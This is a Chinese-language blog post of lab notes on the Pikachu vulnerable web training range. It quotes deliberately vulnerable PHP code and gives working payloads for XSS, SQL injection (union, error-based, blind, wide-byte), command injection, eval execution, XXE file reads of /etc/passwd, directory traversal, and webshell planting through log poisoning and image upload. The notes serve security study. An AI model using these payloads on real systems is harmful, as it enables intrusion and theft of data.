web安全-靶场笔记

靶场笔记

一.xss类

(1)前端改长度
image-20220527135747826

改完长度直接写恶意代码。

(2)dom型xss
image-20220527143048437

案例一:

<script>
 function domxss(){
    var str = document.getElementById("text").value;
    document.getElementById("dom").innerHTML = 
        "<a href='"+str+"'>what do you see?</a>";
                }
    //试试:'><img src="#" οnmοuseοver="alert('xss')">
    //试试:' οnclick="alert('xss')">,闭合掉就行
</script>

案例二:

 function domxss(){
     var str = window.location.search;
     //这个函数用来获取url问号后面的东西
     var txss = decodeURIComponent(str.split("text=")[1]);
    //decodeURIComponent这个函数是对url编码用的,解码是en。这里是对输入的特殊符号进行编码
     var xss = txss.replace(/\+/g,' ');
    //   alert(xss);

     document.getElementById("dom").innerHTML =
         "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
 //试试:'><img src="#" οnmοuseοver="alert('xss')">
 //试试:' οnclick="alert('xss')">,闭合掉就行

总结:客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

案例三:

这个案例比较特殊,是在url中插入恶意代码。

这里用server数组来接受前端请求的地址,这里对地址没有检测过滤,输出时也没有过滤,于是便产生了注入漏洞。

 case "0" :

        // $url = "http://" . $_SERVER["HTTP_HOST"] . urldecode($_SERVER["REQUEST_URI"]);
        $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];               
        break;
        
<?php echo "<p align=\"left\">Your current URL: <i>" . $url . "</i></p>";?>    

(3)xss盲打

经过测试,发现啥玩意都没过滤,就是一个存储性xss漏洞。

(4)xss过滤
if(isset($_GET['submit']) && $_GET['message'] != null){
    //这里会使用正则对<script进行替换为空,也就是过滤掉
    $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '',  $_GET['message']);
//    $message=str_ireplace('<script>',$_GET['message']);

    if($message == 'yes'){
        $html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
    }else{
        $html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
    }

}
(5)xss之htmlspecialchars
if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入点啥吧!</p>";
    }else {
     //使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
        $message=htmlspecialchars($_GET['message']);
        $html1.="<p class='notice'>你的输入已经被记录:</p>";
        //输入的内容被处理后输出到了input标签的value属性里面,试试:' οnclick='alert(111)'
//        $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
        $html2.="<a href='{$message}'>{$message}</a>";
    }
}

总结:htmlspecialchars默认不对 ’ 处理。所以攻击思路不是插入新节点什么的,而是修改当前标签的属性。

(总而言之,元素实体化这个防御挺不错的,很少像上面那样,输入的东西在一个标签里面。很多都是直接echo,bWAPP就是这样的)

测试答案:’ οnclick=‘alert(111)’

(6)xss之href输出
else {
        //输出在a标签的href属性里面,可以使用javascript协议来执行js
        //防御:只允许http,https,其次在进行htmlspecialchars处理
        $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
        $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>"; 
    }
image-20220527165917867
payload: javascript:alert(666)

js的乱入,第一次见这种写法。经过测试,前面那个题也可以用这种方法。

(7)xss之js输出
(8)过滤“<>”问题
function xss_check_1($data)
{
    
    // Converts only "<" and ">" to HTLM entities    
    $input = str_replace("<", "&lt;", $data);
    $input = str_replace(">", "&gt;", $input); 
    $input = urldecode($input);
    return $input;
    
}

这里过滤了<>,但问题不大,对输入的恶意代码提前编码就好了。

(注意这里php处理时有解码操作的,如果没有,恶意代码是不能被自动解码而执行的)

image-20220607142907585
(9)日志注入木马

包含日志文件, getshell
在日志文件中写入带有小马的日志文件,具体做法是使用burp抓取对网站的访问请求,在访问路径就面加上小马,日志文件会记录到用户的请求信息,成功写入小马,后面只需菜刀连接即可。

image-20220608214543671

php中经常出现的过滤函数

htmlentities()和htmlspecialchars()函数的区别

htmlentities()函数可以将所有适用的字符转换为HTML实体;如果不指定编码的话遇到中文会乱码。

htmlspecialchars()函数只能将特殊字符(& 、’、 “、 <> )转换为HTML实体。
function sqli_check_3($link, $data)
{  
    return mysqli_real_escape_string($link, $data);
}
//mysqli_real_escape_string就是要转义在SQL语句中使用的字符串中的特殊字符

二.暴力破解

(1)验证码绕过(on server)

image-20220528105145884

这里输入第一次正确的验证码,每次修改账户密码,发现返回的并不是验证码错误,说明验证码并不会短时间过期。所以直接暴力破解就可以。验证码作用形同虚设。

每次生成的验证码都存在session中,不配置的话默认1440s才会自动过期。

(2)验证码绕过(on client)

function validate() {
        var inputCode = document.querySelector('#bf_client .vcode').value;
        if (inputCode.length <= 0) {
            alert("请输入验证码!");
            return false;
        } else if (inputCode != code) {
            alert("验证码输入错误!");
            createCode();//刷新验证码
            return false;
        }
        else {
            return true;
        }
    }

这是来自前端的js代码做的验证码验证。这个验证码单纯就是前端验证,这直接等于没有验证。随便绕过就可。

(3)token机制的破解

每次会从服务器端返回一个token的值,该次请求必须带上上次请求返回的token的值。可以从返回的html内容查看这个token。

可以用bp的音叉攻击,token那里使用递归搜索来设置攻击载荷。

三.CSRF漏洞

(1)CSRF的get

登录到个人界面后,点击修改个人信息的同时抓包,通关抓包信息来构造而已的url。

 localhost:8080/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=911&add=nba+lakes&email=kobe%40pikachu.com&submit=submit

直接修改里面参数就可以了。改好参数后钓鱼让受害人点击即可。

(2)CSRF的post

<form method="post">
   <h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="csrf_post.php?logout=1">退出登录</a></h1>
   <p class="per_name">姓名:{$name}</p>
   <p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>
   <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>    
   <p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p> 
   <p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p> 
   <input class="sub" type="submit" name="submit" value="submit"/>
   </form>

这里直接自己写一个前端,构造这个post的表单,设置好参数后自动提交。这样受害者点击这个链接后便会自动发送恶意post请求。

两种防护思路:

1.同源检测

2.token检测

四.sql注入

(1)数字型注入(post)

if(isset($_POST['submit']) && $_POST['id']!=null){
    //这里没有做任何处理,直接拼到select里面去了,形成Sql注入
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //这里如果用==1,会严格一点
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
    }
}

这里发现是数字型的,没有任何防护,闭合都不用,直接联合查询。

这里的payload是

 1 union select 1,database()

(2)字符型注入(get)

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

这里构造的payload是:

' or 1=1#

记得要带#,把后面的东西注释掉,要不然会报错。

通过判断字段数后就可以构造其他联合查询的payload

' union select user(),database() -- q

(3)搜索型注入

if(isset($_GET['submit']) && $_GET['name']!=null){

    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];

    //这里的变量是模糊匹配,需要考虑闭合
    $query="select username,id,email from member where username like '%$name%'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        //彩蛋:这里还有个xss
        $html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
        while($data=mysqli_fetch_assoc($result)){
            $uname=$data['username'];
            $id=$data['id'];
            $email=$data['email'];
            $html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
        }
    }else{

        $html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
    }
}

这里构造的payload:

' or 1=1#
' union select 1,group_concat(username),group_concat(password) from users #

(4)xx型注入

 $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username=('$name')";

这里与前面唯一的不同只是闭合方式是不再是 ‘ ,而是 ') 。

(5)insert/update注入

还是先用 ‘ 来判断存不存在sql注入。

存在,构造sql语句

username=' or updatexml(1,concat(0x7e,(select database())),1),1) -- q

updataxml()第二个参数出错后,会显示出错的那个参数的值,这里正是利用报错回显来越权查看各种信息。

下面是源码信息,因为是insert语句,所以这种漏洞称之为insert的注入漏洞。

if(isset($_POST['submit'])){
    if($_POST['username']!=null &&$_POST['password']!=null){
//      $getdata=escape($link, $_POST);//转义

        //没转义,导致注入漏洞,操作类型为insert
        $getdata=$_POST;
        $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1){
            $html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
        }else {
            $html.="<p>注册失败,请检查下数据库是否还活着</p>";

        }
    }else{
        $html.="<p>必填项不能为空哦</p>";
    }
}

(6)delete注入

if(array_key_exists('id', $_GET)){
    $query="delete from message where id={$_GET['id']}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        header("location:sqli_del.php");
    }else{
        $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
    }
}
//没对传进来的id进行处理,导致delete注入

这里删除是get传参,对id没有过滤,直接构造如下url。经过测试,编码与否好像都没影响。

http://localhost:8080/pikachu/vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)
	http://localhost:8080/pikachu/vul/sqli/sqli_del.php?id=59 or updatexml(1,concat(0x7e,(select database())),1)

(7)http header 注入

       //转义,防注入
        $username=escape($link, $_POST['username']);
        $password=escape($link, $_POST['password']);
        $query="select * from users where username='$username' and password=md5('$password')";
        $result=execute($link, $query);

这里看到这个表单的防护,这个防护sql注入的思路不错的。

这里看一下这一关的关键代码:

//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];

//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);

这里专门去看了下httpinfo,是数据库的一个表,长这样:

image-20220528222732329

因为这也是往数据库表里面插入数据,所以和前面一样的攻击方法。

(8)布尔盲注

直接上代码:

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    //mysqi_query不打印错误描述,即使存在注入,也不好判断
    $result=mysqli_query($link, $query);//
//     $result=execute($link, $query);
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

这里区别于前面的是,这里用的是query(),而之前用的execute()。

query()这个函数执行错误不会报出对错误的描述,而execute()这个就可以,之前一直靠的错误回显来窃取关键信息的。

' or ascii(substr(database(),1,1))= 112 limit 0,1 #

若有查询结果,就证明后面这东西是对的。这里后面是数据库名字的第一个字符的ascii码值。

这里之所以用limit限制,是因为源码要求查询结果只能有一条。

像这种盲注适合用工具来跑。比如sqlmap。

(9)时间盲注

这个和上面盲注代码一样的。

只是payload上稍微修改,变成一个sleep的函数。

' or if (ascii(substr(database(),1,1))= 112,sleep(2),1) limit 0,1 #

(10)宽字节注入

if(isset($_POST['submit']) && $_POST['name']!=null){

    $name = escape($link,$_POST['name']);
    $query="select id,email from member where username='$name'";
    //这里的变量是字符型,需要考虑闭合
    //设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
    $set = "set character_set_client=gbk";
    execute($link,$set);

    //mysqi_query不打印错误描述
    $result=mysqli_query($link, $query);
    if(mysqli_num_rows($result) >= 1){
        while ($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

这里构造个payload发现被转义了:

kobe\' union select 1,2-- q    

这是给客户端设置gbk编码的原因,‘ 被 \ 转义了。

这里直接想办法给这个 \ 给吃掉。这里这样构造payload

kobe%df' union select 1,2-- q

这个%df和\合体变成了一个汉字,这样单引号就不会被转义掉了。

SQL注入时为什么有时候没有回显,结合php说说?

设置了php.ini 为display_errors设置为off。同时设置error_reporting为E_ALL因此没有错误回显。

五.RCE(远程命令/代码执行)

  • RCE(remote command/code execute)概述

    ​ RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

    远程系统命令执行

    一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口

    比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

    一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。

    而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

    现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。

    在这种平台上往往会出现远程系统命令执行的漏洞。

    远程代码执行

    同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

    不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

    因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

    命令连接符整理:
    &  ;  &&  ||  |  
    

    (1)ping

    if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
        $ip=$_POST['ipaddress'];
    //     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
        if(stristr(php_uname('s'), 'windows')){
    //php_name('s')返回php的操作系统
            
            //         var_dump(php_uname('s'));
            $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
        }else {
            $result.=shell_exec('ping -c 4 '.$ip);
        }
    }
    

    这里很清楚的看见对输入的ip地址并没有检查过滤,直接干就完事了!

    这里构造的payload:

    192.168.0.105 & whoami
    

    (2)eval

    if(isset($_POST['submit']) && $_POST['txt'] != null){
        if(@!eval($_POST['txt'])){
            $html.="<p>你喜欢的字符还挺奇怪的!</p>";
        }
    }
    

    这个就和一句话木马一样了,写什么命令就执行什么命令。这里随便写一个payload:

    phpinfo();
    

    这就能直接爆出关键信息。

六.文件包含漏洞

重点知识:

include 引入文件的时候,如果碰到错误,会给出提示,并继续运行下边的代码。

require 引入文件的时候,如果碰到错误,会给出提示,并停止运行下边的代码。

(1)本地文件包含

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制
//     //安全的写法,使用白名单,严格指定包含的文件名
//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
//         include "include/$filename";

//     }
}

get参数提交文件名,这里直接在url地址中修改就可以了。善于利用相对路径。

(2)远程文件包含

漏洞的前提的 php.ini 中 allow_url_include 要设置为开启。

其他的一样。后面filename可以使用远程服务器上的文件。

例如:filename=http://127.0.0.1:9096/

这里就可以将含有这个漏洞的服务器作为中间跳板访问并下载其他服务器上的文件了,这很适合内网渗透。

常用的伪协议:

file://		访问本地文件系统
http://		访问 HTTPs 网址
ftp://		访问 ftp URL 
Php://		访问输入输出流
Zlib://		压缩流
Data://		数据
Ssh2://		security shell2 
Expect://		处理交互式的流
Glob://		查找匹配的文件路径
伪协议后文件必须是绝对路径

七.文件下载漏洞

 <div class="png" style="float: left">
                    <img src="download/kb.png" /><br />
                    <a href="execdownload.php?filename=kb.png" >科比.布莱恩特</a>
                </div>

                <div class="png" style="float: left">
                    <img src="download/ai.png" /><br />
                    <a href="execdownload.php?filename=ai.png" >阿伦.艾弗森</a>
                </div>

                <div class="png" style="float: left">
                    <img src="download/ns.png" /><br />
                    <a href="execdownload.php?filename=ns.png" >史蒂夫.纳什</a>
                </div>

观察页面布局,发现这个图片下载全是一个叫execdownload.php的文件处理的。下面是它的关键源码。

header("Content-type:text/html;charset=utf-8");
// $file_name="cookie.jpg";
$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);

//首先要判断给定的文件存在与否
if(!file_exists($file_path)){
    skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');
    return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下,否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据

//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){

    $file_con=fread($fp,$buffer);
    $file_count+=$buffer;

    echo $file_con;
}
fclose($fp);

这里对传入的参数filename并没有任何限制,这里就造成了任意文件下载的漏洞。善于使用相对路径越权下载敏感信息。

八.文件上传漏洞

(1)客户端检验

<script>
    function checkFileExt(filename)
    {
        var flag = false; //状态
        var arr = ["jpg","png","gif"];
        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //比较
        for(var i=0;i<arr.length;i++)
        {
            if(ext == arr[i])
            {
                flag = true; //一旦找到合适的,立即退出循环
                break;
            }
        }
        //条件判断
        if(!flag)
        {
            alert("上传的文件不符合要求,请重新选择!");
            location.reload(true);
        }
    }
</script>

这里是单纯的前端验证,和之前的一样,前端验证等于没有。直接抓包就ok了,或者ban掉js的运行。

(2)MIME检查

    //验证一下MIME类型
    if(!in_array($_FILES[$key]['type'], $mime)){
        $return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';
        $return_data['return']=false;
        return $return_data;
    }

这里直接通过抓包,修改content/type为要求的类型就可以了。其他都可以不变。

(3)getimagesize

//先验证后缀名
    if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较
        $return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';
        $return_data['return']=false;
        return $return_data;
    }
    
    //验证MIME类型,MIME类型可以被绕过
    if(!in_array($_FILES[$key]['type'], $mime)){
        $return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
        $return_data['return']=false;
        return $return_data;
    }
    //通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的
    if(!getimagesize($_FILES[$key]['tmp_name'])){
        $return_data['error']='你上传的是个假图片,不要欺骗我!';
        $return_data['return']=false;
        return $return_data;
    }

这里的关键是getimagesize()来判断文件是不是图像。这里检查的是文件头,一般检查两个字节。

解决方法是copy合成图片马,图片在前,代码在后。

九.越权漏洞

(1)水平越权

$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_op_login($link)){
    header("location:op1_login.php");
}
$html='';
if(isset($_GET['submit']) && $_GET['username']!=null){
    //没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
    $username=escape($link, $_GET['username']);
    $query="select * from member where username='$username'";
    $result=execute($link, $query);

这里发现查看个人个人信息是直接用前端传过来的用户名。

这里直接抓包后修改username,就可以查看其他人的账户信息。

(2)垂直越权

if(isset($_POST['submit'])){
    if($_POST['username']!=null && $_POST['password']!=null){
        $username=escape($link, $_POST['username']);
        $password=escape($link, $_POST['password']);//转义,防注入
        $query="select * from users where username='$username' and password=md5('$password')";
        $result=execute($link, $query);
        if(mysqli_num_rows($result)==1){
            $data=mysqli_fetch_assoc($result);
            if($data['level']==1){//如果级别是1,进入admin.php
                $_SESSION['op2']['username']=$username;
                $_SESSION['op2']['password']=sha1(md5($password));
                $_SESSION['op2']['level']=1;
                header("location:op2_admin.php");
            }
            if($data['level']==2){//如果级别是2,进入user.php
                $_SESSION['op2']['username']=$username;
                $_SESSION['op2']['password']=sha1(md5($password));
                $_SESSION['op2']['level']=2;
                header("location:op2_user.php");
            }
        }else{
            //查询不到,登录失败
            $html.="<p>登录失败,请重新登录</p>";
        }
    }
}

在这里可以看到这个登录逻辑。根据数据库中用户的等级选择不同的文件。

所以这里存在的漏洞是直接url里改访问的文件,这就造成了垂直越权的漏洞。

十.目录遍历漏洞

http://localhost:8080/pikachu/vul/dir/dir_list.php?title=../../../README.md

这里发现可以用相对地址无限制的跳转,这很危险!!!

十一.敏感信息泄露

这里前端代码就冒出了不小的问题,测试信息忘记删了。

image-20220529154217731

十二.php反序列化

(1)序列化基础

 class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

(2)反序列化基础

 $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu

这里通过小迪安全的一张截图加深对魔术方法的理解:

image-20220529171438631

(3)反序列化漏洞的起因

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。

 常见的几个魔法函数:
        __construct()当一个对象创建时被调用(构造函数)

        __destruct()当一个对象销毁时被调用 (析构函数)

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用(清醒函数)

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

来看看实际的例子:

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}

这个序列化是真简单,没什么说的。

十三.XXE漏洞

XXE -“xml external entity injection”
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

(基本都是利用伪协议读取敏感文件,主要是file协议)

外部实体

<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<message>
    <user>&xxe;</user>
</message>

这里用 &实体名; 引用实体,在DTD中定义,在XML文档中引用。

部分payload:

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=c:/phpstudy_pro/WWW/pikachu/vul/rce/rce.php" > ]>

dtd文档解析:DTD详解_Switchvov的博客

xxe漏洞博文推荐:XXE (XML外部实体注入)

十四.SSRF

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

SSRF的主要攻击方式

攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。

SSRF的危害

1.内外网的端口和服务扫描

2.攻击运行在内网或本地的应用程序

3.对内网web应用进行指纹识别,识别企业内部的资产信息

4.攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等)

5.利用file协议读取本地敏感数据文件等

js知识点:

(1) var str = window.location.search; //这个函数用来获取url问号后面的东西

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值